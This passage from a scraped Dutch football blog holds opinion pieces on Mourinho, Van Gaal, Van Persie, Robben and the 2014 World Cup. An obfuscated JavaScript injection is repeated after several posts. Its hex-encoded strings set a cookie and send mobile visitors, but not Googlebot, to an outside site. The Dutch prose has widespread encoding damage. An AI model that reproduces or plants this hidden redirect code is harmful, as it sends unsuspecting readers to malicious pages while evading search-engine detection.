)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

U ziet, JosA� Mourinho deed zijn bijnaam The Special One weer eens alle eer aan. Of er de dag daarna een weerzien is geweest tussen JosA� en de snode vraagsteller, weet ik niet. Doet er ook niet toe. Het gaat om de verrassing. Je verwacht het niet. Zelfs niet van JosA�, die een ware kruistocht voert tegen de Britse media. Hij was niet voor niets ooit de assistent van Van Gaal. Beetje slappe-zak-gedrag is het wel, weglopen. Als de vraag je niet bevalt, ga dan de discussie aan of sla ‘m voor zijn bek, voor mijn part. Maar de Portugees is wel vaker niet zo stoer als hij zich voordoet.

knip-mazuroToch, het heeft wel iets. Dat abrupt weglopen, bedoel ik. Sterker nog: zouden meer mensen moeten doen, en niet alleen om vier uur. Talloze ‘diepte’-interviews zouden ons bespaard blijven. Legio debiele vragen en uren oeverloos gezwam zouden qua montage nooit boven tafel komen. De NOS zou zich toe kunnen gaan leggen op het vakkundig in beeld brengen van cruciale wedstrijdsituaties en veel vaker voor herhaling vatbaar zijn. Win-win. En dan niet alleen trainers of spelers die weglopen, maar ook en vooral interviewers en cameramensen. Geen onzin meer te horen, geen poppenkast meer te zien, niks meer te spammen dus. Ik hoor de papegaaien in het circuit al grommen.

Akkoord: waarover moeten wij ons nog verkneukelen zonder de Sjakie A�Polakjes, de Zlatannetjes en de Lowietjes? De wereld zou er ineens een stuk saaier uitzien. Maar toch. Een persconferentie met de clichA�brakende – pak ‘m beet – Fred Rutten en Robert Maaskant die abrupt wordt onderbroken doordat alle pers- en cameramensen demonstratief de zaal verlaten, niemand die er wakker van ligt. Een spontane staking van de geluidstechnici tijdens Studio Voetbal, geen haan die er naar kraait. Frank Snoeks die meteen wegloopt omdat Jetro Willems zijn grappig bedoelde opmerking niet begrijpt, er zullen geen kamervragen over worden gesteld. Nog mooier als dit Louis van Gaal was overkomen midden in zijn collegeA�overA�’long balls’, bedoeld voor ‘Big Sam’ Allardyce. “Sorry, see you tomorrow.” En dan allemaal wegwezen! Met camera en al. Dan hadden wij het gezicht van Louis wel eens willen zien. Gelukkig hebben we altijd de bewakingsbeelden nog.

Ps. Over een mooi gezicht gesproken: bekijk de video met het college van Louis helemaal tot het einde en zie de gelaatsuitdrukking van de dame aan wie hij zijn papieren overhandigt. Onbetaalbaar!var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Perversie. Ik krijg het woord niet uit mijn gedachten over het in vele opzichten memorabele WK voetbal in BraziliA�. Al eerder gebruikte ik pervers voor het poldercatenaccio dat Oranje op dit toernooi A�introduceerde. En misschien wordt het perverse karakter daarvan nog wel het meest benadrukt door het kennelijke feit dat Van Gaal deze softe voetbalporno vanA�de Oranje voetbalvrouwen heeft gekopieerd.

Maar het is toch vooral de schuld van Frank Snoeks. Want die bestond het om het wonderbaarlijkste WK-doelpunt te begeleiden met de kreet: ‘Perversie’! En dan hebben we het natuurlijk over de snoekduikkopbal van Robin van Persie. Bekroond als het op A�A�n na mooiste WK-doelpunt, achter de fenomenale aanname annex volley van James Rodriguez. Van Persie, perversie. Het bleef maar rondzingen in mijn hoofd. Ik heb lange tijd in de veronderstelling verkeerd dat het mA�jn freudiaanse gehoor was dat ‘perversie’ verstond, toch was het wel degelijk een al dan niet bewuste verspreking van Sigmund Snoeks. Zoals hieronder te beluisteren valt. Maar daar gaan we het hier niet meer over hebben. Arno en co hebben al genoeg te verduren gehad.

We gaan het hebben over Van Persie. Over Van Gaal. En over Robben. Over Louis’ en menig Oranjespelerts beste groep ooit dus. Zelfverklaard. Maar toch vooral over RVP. Onze in aanleg beste voetballer. Al ver voor het toernooi tot aanvoerder en belangrijkste speler gebombardeerd. Door Van Gaal. Wellicht mA�t Strootman, want ook die mocht, samen met Van Persie, aan de zijde van Louis op de tribune plaatsnemen. De boodschap van de bondscoach was evenzo helder als significant: dit zijn mijn vertrouwenspersonen, mijn adjudanten in het veld. Strootman viel jammer genoeg af. Dus rustte al het vertrouwen, maar ook de druk en verantwoordelijkheid op de gevoelige schouders van RVP.

opi-mazuroDe bedoelingen van Louis waren duidelijk. Dit moest Van Persies toernooi worden na eerdere, persoonlijke mislukkingen in 2010 en 2012. Door hem belangrijk te maken en zijn vertrouwen in hem uit te spreken, wilde hij Robin zo optimaal mogelijk motiveren en positioneren. Een zo op het eerste oog te verdedigen en nobel uitgangspunt. Dat Van Gaal toen al wist dat hij na Oranje bij Man United nog intensiever met Van Persie zou gaan samenwerken, zal ongetwijfeld ook een rol hebben gespeeld. Maar hoe nobel ook, daar maakte Louis zijn eerste en tevens grootste fout. Want leerlingen willen niet met de meester samen gezien worden. Wie dat wel wil, is ten dode opgeschreven en wordt door zijn klasgenoten afgeschreven. Ze zullen het niet openlijk hebben laten blijken, maar toen al werd in elk geval het gezag van deA�A�benoemde aanvoerder ondermijnd. En bij Robben moet zich op dat moment zijn missie hebben vastgezet om te laten zien dat er maar eentje echt onmisbaar is in Oranje. Ze kunnen nog zoveel lullen met elkaar en de schijn wekken dat ze de dienst uitmaken, maar in het veld geef A�k de doorslag en niemand anders, moet zo ongeveer Arjens gedachtengang zijn geweest.

De rest is geschiedenis. RVP viel slechts op door een enkele oprisping van zijn onmiskenbare klasse en het feit dat hij zich talloze keren buitenspel liet zetten. Die ene keer dat hij toch het voortouw wilde nemen, lieten zijn medespelers hem stilzwijgend, maar alleszeggend in de steek. In niets leek hij op de zelfbewuste speler die precies de juiste momenten uitkiest, zoals hij dit al zo vaak bij Arsenal, United en toch ook tijdens de WK-kwalificaties heeft laten zien. Een lichaamstaal en inzet die welhaast sabotage deden vermoeden, maar volgens mij werden veroorzaakt door verkramping en verlamming. Hem was onvoorwaardelijk vertrouwen en verantwoordelijkheid geschonken, maar hij zag gaandeweg dat slechts A�A�n speler dat waarmaakte; die binnen en buiten het veld de verantwoordelijkheid nam en daarvoor ook alle credits kreeg van de buitenwereld: de niet benoemde, maar natuurlijke leider Arjen Robben. En hoezeer Louis hem ook bleef beschermen – wellicht juist ook dA?A?rom – Robin wist er geen raad mee en voelde het (zelf)vertrouwen steeds meer wegvloeien en de moed in de schoenen zakken.

vitesse - ajaxBij alle min of meer terechte lof die Van Gaal op dit WK is toegezwaaid, moet deze gang van zaken toch als een smet op het blazoen worden bestempeld. Te meer omdat hij dit had kunnen voorzien en dus had kunnen en moeten voorkomen. Het is een psychologische miskleun geweest om de gevoelige Van Persie ten overstaan van de gehele voetbalwereld zA? belangrijk te maken, dat hij onmogelijk aan deze verwachtingen kon voldoen. Het stelt meteen ook de door zowel technische staf als spelers A�veel gebezigde uitspraakA�dat dit ‘de beste groep ooit was waarmee ik heb gewerkt’ in een ander daglicht. Want hoe kun je nou van een ‘beste groep ooit’ spreken als uitgerekend je uitverkoren aanvoerder en belangrijkste speler toch niet echt lekker in zijn vel zit en door zichzelf en anderen niet als de echte leider wordt gezien?

De tweede cruciale misrekening van Van Gaal was de keuze van het systeem, dat ik hier gemakshalve en niet aan twijfel onderhevig ‘reactievoetbal’ zal noemen. Gokken op de counter en balverlies van de tegenstander waardoor er aanvallende ruimte en een overtal ontstaan. Ideaal voor spelers als Robben en zo u wilt, Lens en Depay. Spelers die van en op hun snelheid kunnen profiteren en passeren. RVP heeft alle andere kwaliteiten, behalve deze. Toch persisteerde Louis met het opstellen van Robin, die almaar meer leek uit te stralen dat hij liever uit zijn leiden zou worden verlost. Hier al eerder geconstateerd en bepleit.

Dat Van Gaal zijn systeem en opstelling pas aanpaste toen het niet anders meer leek te kunnen, voedt de (veronder)stelling dat het reactievoetbal van Oranje op het WK 2014 de reactiecoach kreeg dat het verdiende. Waar Van Gaal alom werd bewierookt vanwege zijn visionaire ingrepen, daar waren het feitelijk slechts reacties op ontstane situaties of verkeerde inschattingen. Zie Verhaegh, Van Persie/Huntelaar, overschakelen op 4-3-3. En in het geval van het vasthouden aan Kuijt keerde het aanvankelijke voordeel (voorbeeldige strijdlust en zekerheid) om in een nadeel vanwege de bijna structureel slechte voortzetting van de Katwijker in balbezit tijdens met name het duel tegen ArgentiniA�.

Persie geeft band aan Robben media_xl_2319703Zelfs de als geniaal bestempelde wissel Cillissen/Krul kan hieronder worden geschaard. Waarom deze risico’s lopen en jezelf voor het blok gezet zien worden in de halve finale tegen Argentinie, als je al vA?A?r het toernooi ook Krul eerste keeper had kunnen maken, wetende dat hij de betere penaltykiller is en dat er weinig kwaliteitsverschil bestaat tussen beiden? DA?t was visionair geweest, dA?t had pas getuigd van kundig ageren en anticiperen in plaats van geniaal, maar riskant en opportunistisch reageren.

Bij dit soort zaken dringt zich bij mij altijd de vergelijking met Heurelho Gomes op, de ooit eveneens zo bewierookte keeper tijdens zijn PSV-periode. Spectactulaire reddingen, fenomenale reflexen. Maar niet zelden voorafgegaan door verkeerde timing, inschatting en opstelling van Gomes zelf. Hij creA�erde als het ware zijn eigen situaties om uit te blinken. Ook knap, maar toch. Met Gomes liep het het daarna niet al te best af, hij viel elders toch door de mand. Dit zal Louis niet overkomen en dat is ook terecht. Want hoe dan ook mogen we de verrassende prestatie van Oranje op dit WK op zijn conto schrijven. Omdat vooraf niemand er ook maar een cent voor gaf.

Maar het zou pas echt verrassend zijn wanneer Van Gaal – na een door hemzelf zo gepropageerde gedegen evaluatie en analyse van zijn eigen en het totale (mens) functioneren – tot de conclusie zou komen dat hij ook een paar cruciale verkeerde inschattingen heeft gemaakt. Waardoor onze beste speler in het geheel niet uit de verf is gekomen. Zijn beste middenvelder, Sneijder, evenmin. Die hem en ‘ons’ misschien wel de wereldtitel hebben gekost. Maar die er bovenal voor hebben gezorgd dat niet ons voetbal, maar de coach de meeste aandacht en waardering heeft gekregen. En daar zal het Louis toch niet om te doen zijn geweest..?

– Van Gaal en Van Persie op de tribune komt van http://www.onze11.nl

– de symbolische overdracht van de aanvoerdersband staat op volkskrant.nl

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Wat heb gisteravond ontzettend genoten van Algerije! Van de hele wedstrijd trouwens.A�En nee, niet zozeer omdat Les FennecsA�de Duitsers regelmatig lieten struikelen en stuntelen, maar omdat de, vrij naar Frank Snoeks, blanke dus niet echte Afrikanen vooral in de eerste helft bijkans perfect countervoetbal op de mat legden. Woestijncatenaccio in optima forma. Het leek wel een fata morgana. Ik althans, wreef mijn ogen uit. Precies op het juiste moment en op de juiste plekken druk zettend of inzakkend; perfect getimed nu eens de lange bal, dan weer A?f in alle rust A?f op volle snelheid naadloos combinerend de tegenaanval zoekend: een lust voor het oog. Ik hoop dat Louis met onze jongens gekeken heeft, maar ben bang dat ze deze masterclass reactievoetbal niet op waarde hebben geschat. Omdat Louis zelf nu eenmaal de vleesgeworden masterclass is. En omdat hij in BraziliA� nu eenmaal zijn eigen excuustruus Robben heeft. Die ook al perfect getimed openbaart dan wel suggereert dat hij heeft geleerd door vallen en opstaan. Succes trekt alle registers open in de mens. Ook in de totale.

obs-mazuroMaar de Algerijnen dus. Ze legden meedogenloos bloot waar de zwakke plekken van die Mannschaft liggen en dat is onmiskenbaar achterin. Natuurlijk, ze misten hun best voetballende en tactisch onderlegde verdediger Mats Hummels, maar toch. Matige backs en een schrijnend gebrek aan snelheid en wendbaarheid centraal achterin. Op Canvas is gisteravond de gehele rust besteed aan een partijtje Mertesacker dissen, dus daar laat ik het maar bij. DieA�Vahid HalilhodA?iA�A�is net als onze bondscoach, laten we zeggen, een aparte man en ook als trainer wordt hij met Van Gaal vergeleken. Maar sorry Louis, daar doen we Vahid toch tekort mee. Want wie met zulk een beperkte selectie, zowel kwalitatief als kwantitatief, op een dergelijke effectieve, maar ook nog eens attractieve wijze een van de topfavorieten aan het wankelen brengt, kent zijns gelijke niet.

Uiteindelijk gaf het surplus aan aanvallende klasse van Duitsland de doorslag. Maar ik was met name onder de indruk van de rust, het gogme en de inventiviteit die de Algerijnse spelers aan de dag legden bij het uitverdedigen. Vooral daarom hoop ik vurig dat ik me vergis. Dat het nieuwe Oranje wel degelijk ook geA?mponeerd was en dat Louis de beelden gebruikt om te laten zien hoe het ook en anders kan dan de bal maar lukraak Vahid HalilhodA?iA�y 268857255731937richting de eenmansaanvalslinie Robben te transporteren. Dat je met 4-3-3 ook reactievoetbal kunt spelen, maar dat deze jas ‘ons’ veel beter past en ook staat. Dat je dan echte voetballers als Blind, Sneijder, Wijnaldum en Van Persie ook veel beter tot hun recht laat komen. Aan Robben zal het niet liggen, hem maakt het niet uit welke rol hij moet uitvoeren, hij valt toch wel op in deze vorm van zijn leven. Zelfs achter de microfoon, als hij straks zijn excuses aanbiedt omdat het onverhoopt toch weer niet is gelukt.

Maar worden ‘we’ wereldkampioen, dan is dat met dank aan de Algerijnse Van Gaal, die Oranje de sleutel heeft aangereikt om de speelwijze te perfectioneren. Zowel voor het resultaat als voor het oog.

 var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Ook Voetblah-redacteuren zijn net mensen, dus ook binnen ons illustere schrijverscollectief woedt de discussie over het ofwel perfecte reactievoetbal dan wel pervers perfide poldercatenaccio van Louis en onze jongens inA�BraziliA�. En natuurlijk willen wij daar ook iets over kwijt. Het oorspronkelijke plan was om een sympathisant van beide kwalificaties een post te laten schrijven. Een heuse Voetblah-polemiek dus. Maar ziet: onze evangalist Cardoso die zijn passie over de tactiek wilde prediken, zag zijn boodschap vrijwel geheel vervat in deze column van Menno Pot. Bovendien wordt het geen polemiek, maar een kanttekening. Geen fundamentalisme, maar relativisme. Geen onwankelbare kwalificering, maar een nuancering. Het wordt zelfs geen cultuurfilosofische verhandeling. En aan wie kunnen we dit beter overlaten dan aan good-old Mazuro.

Dat ik hier word geconfronteerd met Menno Pot is weliswaar onvoorzien, maar toch ook weer geen toeval. Via de sociale media a�� en soms daarbuiten a�� komen we elkaar nogal eens tegen, dus zijn we wel zoa��n beetje op de hoogte van (het verschil in) elkanders voetbalbeleving. Ik kan het niet beter omschrijven dan met de vaststelling a�� let wel, geen waardeoordeel a�� dat Menno een columnist is die schrijft over, onder meer, voetbal en dat ik voor mijn gevoel nog steeds een voetballer ben die schrijft; over van alles, maar vooral en zeker het liefst over voetbal.

opi-mazuroEen columnist chargeert en provoceert. Althans ik hoop voor Menno dat dit ook voor deze column geldt. Want als hij het Oranje-voetbal tijdens de eerste helften op dit WK ook als a�?mooi en meeslependa�� heeft ervaren; toen ook a�?voortdurend het gevoel had dat ze dichter bij een doelpunt waren dan de tegenstandera��; ook toen a�?Oranje zoa��n bijzonder aantrekkelijke, heerlijke ploega�� vond en toen ook zag dat a�?de geestdrift en het pleziera�� a�� inclusief de coaches en spelers op de bank a�� a�?er van af straaldena��, dan kan ik a�?m alleen maar benijden. Omdat hij dan meer gezien heeft dan ik. Ik, die zich aan dA?t voetbal van Oranje kapot heeft geA�rgerd, overvallen werd door plaatsvervangende schaamte of a�?zich hartstochtelijk te pletter verveeldea��. Ik, die alleen maar begeesterd werd a�� voor zover daar ruimte voor was a�� door het spel en de aanvallende bedoelingen van de tegenstander.

Over te pletter vervelen gesproken: ik denk dat voor de neutrale toeschouwer Nederland a�� Chili, op het laatste kwartier na, de saaiste, meest ‘zaaddodende’ wedstrijd was van dit WK tot dusver. Dat je je als Ajax-supporter (ook al zoa��n nieuwe realist!) nog meer te pletter hebt verveeld, is een wel erg dubieus alibi om dit spel spannend te vinden. Maar het kan natuurlijk ook zomaar zijn dat Menno tijdens voornoemde episodes met andere dingen bezig was. Zoals lezen, schrijven of twitteren. Misschien was het wel pappadag. Weet ik veel.

